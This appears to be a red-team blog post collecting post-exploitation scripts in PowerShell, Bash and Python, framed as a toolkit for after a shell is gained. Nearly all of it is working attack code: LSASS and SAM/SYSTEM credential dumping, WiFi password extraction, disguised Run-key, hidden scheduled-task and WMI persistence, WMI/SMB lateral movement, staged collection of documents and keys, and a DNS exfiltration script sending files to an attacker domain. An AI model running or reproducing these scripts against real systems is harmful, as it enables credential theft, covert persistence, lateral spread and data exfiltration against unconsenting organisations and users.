You got a shell. Now what? The initial foothold is just the beginning. These are my go-to scripts for maintaining access, moving laterally, and extracting value from compromised systems.
Situational Awareness
First thing after landing on a box: understand where you are.
Windows Situational Awareness
# sitaware.ps1 - Quick situational awareness
function Get-SitAware {
Write-Host "`n[*] SYSTEM INFO" -ForegroundColor Cyan
Write-Host "Hostname: $env:COMPUTERNAME"
Write-Host "Domain: $env:USERDNSDOMAIN"
Write-Host "User: $env:USERNAME"
Write-Host "Arch: $env:PROCESSOR_ARCHITECTURE"
Write-Host "`n[*] CURRENT USER CONTEXT" -ForegroundColor Cyan
whoami /all | Select-String "BUILTIN|AUTHORITY|Admin|Domain" | ForEach-Object { Write-Host $_ }
Write-Host "`n[*] NETWORK INFO" -ForegroundColor Cyan
Get-NetIPAddress -AddressFamily IPv4 | Where-Object { $_.IPAddress -ne "127.0.0.1" } |
ForEach-Object { Write-Host "$($_.InterfaceAlias): $($_.IPAddress)" }
Write-Host "`n[*] DOMAIN CONTROLLERS" -ForegroundColor Cyan
try {
nltest /dclist:$env:USERDNSDOMAIN 2>$null | Select-String "DC:" | ForEach-Object { Write-Host $_ }
} catch { Write-Host "Unable to query DCs" }
Write-Host "`n[*] LOCAL ADMINS" -ForegroundColor Cyan
net localgroup administrators 2>$null | Select-String -NotMatch "^The|^Members|^-|^$" | ForEach-Object { Write-Host $_ }
Write-Host "`n[*] LOGGED IN USERS" -ForegroundColor Cyan
query user 2>$null
Write-Host "`n[*] AV/EDR CHECK" -ForegroundColor Cyan
$processes = Get-Process | Select-Object -ExpandProperty Name
$edr = @{
"MsSense" = "Defender ATP"
"MsMpEng" = "Windows Defender"
"cb" = "Carbon Black"
"CylanceSvc" = "Cylance"
"csagent" = "CrowdStrike"
"SentinelAgent" = "SentinelOne"
"Tanium" = "Tanium"
}
foreach ($proc in $edr.Keys) {
if ($processes -contains $proc) {
Write-Host "[!] $($edr[$proc]) detected!" -ForegroundColor Red
}
}
Write-Host "`n[*] INTERESTING FILES (current user)" -ForegroundColor Cyan
$paths = @(
"$env:USERPROFILE\Desktop\*.txt",
"$env:USERPROFILE\Desktop\*.docx",
"$env:USERPROFILE\Desktop\*.xlsx",
"$env:USERPROFILE\Documents\*.kdbx",
"$env:USERPROFILE\.ssh\*"
)
foreach ($path in $paths) {
Get-ChildItem $path -ErrorAction SilentlyContinue | ForEach-Object { Write-Host $_.FullName }
}
}
Get-SitAware
Linux Situational Awareness
#!/bin/bash
# sitaware.sh - Linux situational awareness
echo -e "\n\033[36m[*] SYSTEM INFO\033[0m"
echo "Hostname: $(hostname)"
echo "OS: $(cat /etc/os-release 2>/dev/null | grep PRETTY_NAME | cut -d'"' -f2)"
echo "Kernel: $(uname -r)"
echo "User: $(whoami) (UID: $(id -u))"
echo -e "\n\033[36m[*] USER CONTEXT\033[0m"
id
sudo -l 2>/dev/null | head -10
echo -e "\n\033[36m[*] NETWORK INFO\033[0m"
ip -4 addr show | grep inet | grep -v 127.0.0.1
echo -e "\n\033[36m[*] CONNECTIONS\033[0m"
ss -tulpn 2>/dev/null | head -20
echo -e "\n\033[36m[*] INTERESTING FILES\033[0m"
find /home -name "*.kdbx" -o -name "id_rsa" -o -name ".bash_history" 2>/dev/null | head -20
echo -e "\n\033[36m[*] SUID BINARIES\033[0m"
find / -perm -4000 -type f 2>/dev/null | head -10
echo -e "\n\033[36m[*] CRON JOBS\033[0m"
cat /etc/crontab 2>/dev/null
ls -la /etc/cron.* 2>/dev/null
Credential Harvesting
Memory Credential Extraction (Without Mimikatz)
# cred_dump.ps1 - Credential extraction techniques
# Method 1: Dump LSASS with comsvcs.dll (built-in)
function Dump-LsassComsvcs {
$lsass = Get-Process lsass
$dumpPath = "$env:TEMP\debug.dmp"
# Requires SeDebugPrivilege
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass.Id $dumpPath full
if (Test-Path $dumpPath) {
Write-Host "[+] LSASS dump saved to: $dumpPath" -ForegroundColor Green
Write-Host "[*] Transfer and analyze with: pypykatz lsa minidump debug.dmp"
}
}
# Method 2: SAM/SYSTEM extraction for offline cracking
function Dump-SamSystem {
$timestamp = Get-Date -Format "yyyyMMdd_HHmmss"
$outDir = "$env:TEMP\reg_$timestamp"
New-Item -ItemType Directory -Path $outDir -Force | Out-Null
reg save HKLM\SAM "$outDir\SAM" /y
reg save HKLM\SYSTEM "$outDir\SYSTEM" /y
reg save HKLM\SECURITY "$outDir\SECURITY" /y
Write-Host "[+] Registry hives saved to: $outDir" -ForegroundColor Green
Write-Host "[*] Extract with: secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL"
}
# Method 3: Extract cached credentials from registry
function Get-CachedCreds {
$nlKey = "HKLM:\SECURITY\Cache"
if (Test-Path $nlKey) {
Write-Host "[+] Cached credentials exist (DCC2 hashes)" -ForegroundColor Green
Write-Host "[*] Extract with: secretsdump.py -security SECURITY -system SYSTEM LOCAL"
}
}
# Method 4: Search for credential files
function Find-CredentialFiles {
Write-Host "`n[*] Searching for credential files..." -ForegroundColor Cyan
$patterns = @(
"*.config",
"web.config",
"*.xml",
"unattend.xml",
"sysprep.xml"
)
$searchPaths = @(
"C:\inetpub",
"C:\Windows\Panther",
"C:\Windows\System32\sysprep"
)
foreach ($path in $searchPaths) {
foreach ($pattern in $patterns) {
Get-ChildItem -Path $path -Filter $pattern -Recurse -ErrorAction SilentlyContinue |
ForEach-Object {
$content = Get-Content $_.FullName -ErrorAction SilentlyContinue
if ($content -match 'password|credential|connectionstring') {
Write-Host "[!] Potential creds: $($_.FullName)" -ForegroundColor Yellow
}
}
}
}
}
WiFi Password Extraction
# wifi_creds.ps1 - Extract saved WiFi passwords
function Get-WifiPasswords {
$profiles = netsh wlan show profiles | Select-String "All User Profile" |
ForEach-Object { ($_ -split ":")[1].Trim() }
foreach ($profile in $profiles) {
$details = netsh wlan show profile name="$profile" key=clear
$password = ($details | Select-String "Key Content") -replace ".*:\s*", ""
if ($password) {
Write-Host "SSID: $profile"
Write-Host "Password: $password"
Write-Host ""
}
}
}
Get-WifiPasswords
Persistence Mechanisms
Registry Run Keys
# persist_registry.ps1 - Registry-based persistence
function Set-RegistryPersistence {
param(
[string]$PayloadPath,
[string]$Name = "WindowsUpdate"
)
# User-level (no admin needed)
$userKey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Set-ItemProperty -Path $userKey -Name $Name -Value $PayloadPath
Write-Host "[+] User persistence set: $userKey\$Name" -ForegroundColor Green
# Admin-level (if elevated)
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
if ($isAdmin) {
$machineKey = "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
Set-ItemProperty -Path $machineKey -Name $Name -Value $PayloadPath
Write-Host "[+] Machine persistence set: $machineKey\$Name" -ForegroundColor Green
}
}
function Remove-RegistryPersistence {
param([string]$Name = "WindowsUpdate")
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $Name -ErrorAction SilentlyContinue
Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $Name -ErrorAction SilentlyContinue
Write-Host "[+] Persistence removed" -ForegroundColor Green
}
Scheduled Task Persistence
# persist_schtask.ps1 - Scheduled task persistence
function Set-TaskPersistence {
param(
[string]$PayloadPath,
[string]$TaskName = "SystemHealthCheck"
)
$action = New-ScheduledTaskAction -Execute $PayloadPath
$trigger = New-ScheduledTaskTrigger -AtLogOn
$settings = New-ScheduledTaskSettingsSet -Hidden
Register-ScheduledTask -TaskName $TaskName -Action $action -Trigger $trigger -Settings $settings -Force
Write-Host "[+] Scheduled task created: $TaskName" -ForegroundColor Green
}
# Alternative: schtasks.exe method (works without PS modules)
function Set-TaskPersistenceCMD {
param(
[string]$PayloadPath,
[string]$TaskName = "SystemHealthCheck"
)
schtasks /create /tn $TaskName /tr $PayloadPath /sc onlogon /ru SYSTEM /f
Write-Host "[+] Scheduled task created via schtasks.exe" -ForegroundColor Green
}
WMI Event Subscription
# persist_wmi.ps1 - WMI event subscription persistence (stealthier)
function Set-WMIPersistence {
param(
[string]$PayloadPath,
[string]$Name = "SystemCoreMonitor"
)
# Event filter - triggers on system startup
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
Name = "${Name}_Filter"
EventNamespace = 'root\cimv2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
# Event consumer - runs payload
$consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
Name = "${Name}_Consumer"
CommandLineTemplate = $PayloadPath
}
# Binding
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
Filter = $filter
Consumer = $consumer
}
Write-Host "[+] WMI persistence set: $Name" -ForegroundColor Green
}
function Remove-WMIPersistence {
param([string]$Name = "SystemCoreMonitor")
Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter "Name='${Name}_Filter'" | Remove-WmiObject
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer -Filter "Name='${Name}_Consumer'" | Remove-WmiObject
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding | Where-Object { $_.Filter -like "*${Name}*" } | Remove-WmiObject
Write-Host "[+] WMI persistence removed" -ForegroundColor Green
}
Lateral Movement
PSExec Alternative (WMI-based)
# lateral_wmi.ps1 - WMI-based lateral movement
function Invoke-WMIExec {
param(
[string]$Target,
[string]$Command,
[System.Management.Automation.PSCredential]$Credential
)
$processClass = [wmiclass]"\\$Target\root\cimv2:Win32_Process"
if ($Credential) {
$options = New-Object System.Management.ConnectionOptions
$options.Username = $Credential.UserName
$options.Password = $Credential.GetNetworkCredential().Password
$scope = New-Object System.Management.ManagementScope("\\$Target\root\cimv2", $options)
$scope.Connect()
$processClass = New-Object System.Management.ManagementClass($scope, "Win32_Process", $null)
}
$result = $processClass.Create($Command)
if ($result.ReturnValue -eq 0) {
Write-Host "[+] Command executed on $Target (PID: $($result.ProcessId))" -ForegroundColor Green
} else {
Write-Host "[-] Failed with code: $($result.ReturnValue)" -ForegroundColor Red
}
}
# Usage:
# $cred = Get-Credential
# Invoke-WMIExec -Target "DC01" -Command "powershell -enc BASE64PAYLOAD" -Credential $cred
SMB File Copy & Execute
# lateral_smb.ps1 - Copy and execute via SMB
function Invoke-SMBExec {
param(
[string]$Target,
[string]$LocalPayload,
[string]$RemotePath = "C$\Windows\Temp",
[System.Management.Automation.PSCredential]$Credential
)
$payloadName = Split-Path $LocalPayload -Leaf
$remoteFull = "\\$Target\$RemotePath\$payloadName"
$remoteExec = $remoteFull -replace '\$', ':'
# Map drive if creds provided
if ($Credential) {
$netPath = "\\$Target\$($RemotePath.Split('\')[0])"
net use $netPath $Credential.GetNetworkCredential().Password /user:$($Credential.UserName)
}
# Copy payload
Copy-Item -Path $LocalPayload -Destination $remoteFull -Force
Write-Host "[+] Payload copied to: $remoteFull" -ForegroundColor Green
# Execute via WMI
Invoke-WMIExec -Target $Target -Command $remoteExec -Credential $Credential
}
Data Exfiltration
Staged File Collection
# collect_data.ps1 - Collect interesting files for exfil
function Invoke-DataCollection {
param(
[string]$OutputPath = "$env:TEMP\collection"
)
New-Item -ItemType Directory -Path $OutputPath -Force | Out-Null
# Define targets
$targets = @{
"Documents" = @("*.docx", "*.xlsx", "*.pdf", "*.txt")
"Credentials" = @("*.kdbx", "*.key", "*.pfx", "*.p12", "id_rsa*")
"Configs" = @("*.config", "*.xml", "*.ini", "*.conf")
"Code" = @("*.ps1", "*.py", "*.sh", "*.bat")
}
$searchPaths = @(
"$env:USERPROFILE\Desktop",
"$env:USERPROFILE\Documents",
"$env:USERPROFILE\Downloads",
"C:\Users\*\Desktop",
"C:\Shares"
)
foreach ($category in $targets.Keys) {
$categoryPath = Join-Path $OutputPath $category
New-Item -ItemType Directory -Path $categoryPath -Force | Out-Null
foreach ($searchPath in $searchPaths) {
foreach ($pattern in $targets[$category]) {
Get-ChildItem -Path $searchPath -Filter $pattern -Recurse -ErrorAction SilentlyContinue |
Where-Object { $_.Length -lt 10MB } | # Skip large files
ForEach-Object {
Copy-Item $_.FullName -Destination $categoryPath -ErrorAction SilentlyContinue
}
}
}
}
# Compress
$zipPath = "$OutputPath.zip"
Compress-Archive -Path $OutputPath -DestinationPath $zipPath -Force
# Cleanup folder
Remove-Item -Path $OutputPath -Recurse -Force
Write-Host "[+] Collection complete: $zipPath" -ForegroundColor Green
Write-Host "[*] Size: $((Get-Item $zipPath).Length / 1MB) MB"
return $zipPath
}
DNS Exfiltration
#!/usr/bin/env python3
"""
dns_exfil.py - Exfiltrate data via DNS queries
For when HTTP/HTTPS is blocked but DNS is allowed
"""
import base64
import sys
def chunk_data(data, chunk_size=60):
"""Split data into DNS-safe chunks"""
encoded = base64.b32encode(data).decode().rstrip('=').lower()
return [encoded[i:i+chunk_size] for i in range(0, len(encoded), chunk_size)]
def exfil_dns(file_path, domain, dns_server="8.8.8.8"):
"""Exfiltrate file via DNS TXT queries"""
import dns.resolver
with open(file_path, 'rb') as f:
data = f.read()
chunks = chunk_data(data)
total = len(chunks)
print(f"[*] Exfiltrating {len(data)} bytes in {total} chunks")
resolver = dns.resolver.Resolver()
resolver.nameservers = [dns_server]
for i, chunk in enumerate(chunks):
# Format: chunk.seq-total.domain
query = f"{chunk}.{i}-{total}.{domain}"
try:
# Query doesn't need to succeed - DNS server logs the request
resolver.resolve(query, 'A')
except:
pass
if (i + 1) % 10 == 0:
print(f"[*] Progress: {i+1}/{total}")
print(f"[+] Exfiltration complete")
# Usage: python3 dns_exfil.py secret.txt attacker-domain.com
Quick Reference
# Situational awareness
powershell -ep bypass -c "IEX(sitaware.ps1)"
# Dump creds (LSASS)
powershell -c "Dump-LsassComsvcs"
# Persistence (registry)
powershell -c "Set-RegistryPersistence -PayloadPath 'C:\beacon.exe'"
# Lateral movement (WMI)
powershell -c "Invoke-WMIExec -Target DC01 -Command 'whoami > C:\test.txt'"
# Data collection
powershell -c "Invoke-DataCollection"
These scripts are starting points. Customize them for your environment, add error handling, implement OPSEC considerations (like clearing logs, using encrypted channels), and always test in a lab before using on real engagements.
The difference between a good red teamer and a great one is the quality of their toolkit.